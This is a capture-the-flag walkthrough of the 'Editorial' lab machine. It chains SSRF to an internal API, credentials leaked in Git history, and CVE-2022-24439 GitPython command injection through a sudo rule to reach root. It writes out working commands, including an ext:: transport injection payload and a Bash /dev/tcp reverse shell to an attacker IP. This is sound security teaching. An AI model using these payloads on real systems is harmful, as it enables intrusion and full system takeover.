Overview

Editorial is an easy Linux machine that demonstrates how a server-side request forgery vulnerability in a publishing application can expose an internal API. Credentials recovered from the API provide the initial SSH foothold, while Git history reveals credentials for a second user. Root access is obtained by abusing a vulnerable GitPython operation allowed through sudo.

Attack Chain

  • Enumerate the exposed SSH and HTTP services
  • Identify the editorial.htb virtual host and publishing application
  • Abuse the cover preview feature to trigger server-side requests
  • Discover an internal API listening on 127.0.0.1:5000
  • Query the API and recover credentials for the dev user
  • Gain SSH access and retrieve the user flag
  • Inspect Git history in /home/dev/apps
  • Recover credentials for the prod user from an earlier commit
  • Identify a privileged Python script using GitPython 3.1.29
  • Exploit CVE-2022-24439 through a crafted Git transport URL
  • Execute a reverse-shell script as root

Enumeration

Port Scanning

We begin by defining the target and running a full TCP port scan.

export IP=10.129.5.53; export NAME=EDITORIAL; echo $IP; echo $NAME; ping $IP -c 1

nmap --min-rate 4500 --max-rtt-timeout 1500ms $IP -p- -v -oA scans/nmap_allports_$NAME

ports=$(cat scans/nmap_allports_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); echo $ports

nmap $IP -p$ports -A -oA scans/nmap_initial_$NAME -v

The open TCP ports are:

22,80

nmap results

The scan identifies SSH on port 22 and an HTTP service on port 80. The hostname editorial.htb is added to /etc/hosts for name resolution.

echo "$IP editorial.htb" | sudo tee -a /etc/hosts

Web Enumeration

Editorial Website

Browsing to editorial.htb reveals a publishing website focused on books and authors.

editorial homepage

The Publish with us link leads to an /upload endpoint containing a form for submitting book information and previewing a cover image.

publish upload form

Testing the Cover URL

The form accepts a remote URL in the Cover URL field. To test whether the server fetches this resource, we start a Python web server and submit a URL pointing back to the attacking machine.

cover url test

The application processes the request and returns a preview response.

cover preview response

To inspect the connection more directly, we start a Netcat listener on port 4545 and submit a URL pointing to that port.

nc -lvnp 4545

netcat listener

The target connects back to the listener, confirming that the application performs a server-side request. The request headers also suggest that the backend is implemented in Python.

ssrf callback

Attempts at command injection and direct remote file inclusion do not succeed, so the next step is to use the server-side request capability to enumerate services that are only accessible from localhost.


SSRF Exploitation

Requesting Localhost

The cover preview request is captured in Burp Suite and modified so the URL points to 127.0.0.1 on port 80.

burp localhost request

The application returns a generated .jpeg path instead of displaying the response directly.

localhost preview response

Internal Port Discovery

The request is sent to Burp Intruder, and the port number is used as the payload position. A common HTTP port list is used to identify services listening only on localhost.

/usr/share/seclists/Discovery/Infrastructure/common-http-ports.txt

burp intruder port scan

Most tested ports return the same response pattern, but port 5000 produces a different result. This indicates that another HTTP service is listening internally.

internal port 5000

The internal URL is submitted through the website, and the generated preview image is opened in a new tab.

internal api preview

Instead of rendering an image, the browser downloads the response.

downloaded api response

The downloaded file is identified as JSON data.

json file type

The contents are viewed and passed to jq for readable formatting.

cat <downloaded_file> | jq

api metadata json

The response exposes internal API routes. One of the available routes returns a welcome message for new authors.

authors api endpoint

The identified endpoint is:

http://127.0.0.1:5000/api/latest/metadata/messages/authors

The endpoint is submitted through the cover preview function in the same way as before.

authors endpoint preview

Opening the generated image URL downloads another file.

authors response download

Formatting the JSON response with jq reveals credentials for the dev user.

dev credentials

dev:dev080217_devAPI!@

Foothold

Validating the Credentials

The recovered credentials are tested against SSH with hydra.

hydra -l dev -p "dev080217_devAPI\!@" $IP ssh

The login is confirmed as valid.

hydra dev validation

SSH Access as dev

We connect to the target over SSH.

ssh dev@$IP

ssh dev login

This provides an interactive shell as dev.

dev shell

The user flag can now be read.

cat ~/user.txt

user flag


Lateral Movement

Git Repository Discovery

Further enumeration reveals a Git repository in /home/dev/apps/.git.

git repository

We move into the repository and review its current state.

cd /home/dev/apps
git status

The status output shows that a large number of tracked files have been deleted from the working tree.

git status

Reviewing Git History

The repository history is inspected with git log.

git log

A commit describing a downgrade from production to development stands out.

git log

We inspect the commit contents.

git show b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae

The diff exposes credentials for the prod user.

prod credentials in git

prod:080217_Producti0n_2023!@

Access as prod

The credentials are tested against SSH with hydra.

hydra -l prod -p "080217_Producti0n_2023\!@" $IP ssh

The login is valid.

hydra prod validation

We connect over SSH as prod.

ssh prod@$IP

ssh prod login

This provides an interactive shell as the prod user.

prod shell


Privilege Escalation

Sudo Permissions

We review the commands that prod can execute with elevated privileges.

sudo -l

The user can run the following command as root without supplying a password:

/usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *

sudo permissions

The script permissions are inspected.

ls -la /opt/internal_apps/clone_changes/clone_prod_change.py

The script is owned by root; prod can read and execute it but cannot modify it.

script permissions

Reviewing the Python Script

We inspect the script source.

cat /opt/internal_apps/clone_changes/clone_prod_change.py

The script imports Repo from the git Python package and clones a repository from a user-controlled argument.

clone script source

The installed package version is checked with pip.

pip show GitPython

The target is running GitPython 3.1.29.

gitpython version

GitPython Command Injection

GitPython 3.1.29 is vulnerable to command injection through crafted repository URLs, tracked as CVE-2022-24439. The vulnerable clone operation accepts the Git ext transport, allowing commands to be embedded in the supplied URL.

A proof-of-concept based on the Snyk advisory is adapted to create a file in /tmp.

gitpython poc

sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c touch% /tmp/pwned"

Listing /tmp confirms that the command executed as root and created the pwned file.

command execution confirmed

Root Reverse Shell

Direct reverse-shell payloads are unreliable through the crafted Git URL, so a short Bash script is written to /tmp/shell.sh instead.

#!/bin/bash
bash -i >& /dev/tcp/10.10.14.17/443 0>&1

The script is made executable.

chmod +x /tmp/shell.sh

reverse shell script

A listener is started on port 443, and the vulnerable script is used to execute /tmp/shell.sh as root.

sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c /tmp/shell.sh"

execute reverse shell script

The callback provides a shell as root.

root shell

The root flag can now be read.

cat /root/root.txt

root flag


Key Takeaways

Editorial demonstrates how a feature that fetches remote content can become a powerful SSRF primitive. Internal service discovery exposed an API containing reusable credentials, while inadequate secret management in Git history enabled lateral movement. The final escalation shows the danger of combining a vulnerable dependency with an overly permissive sudo rule: a user-controlled repository argument was enough to turn a Git clone operation into root command execution.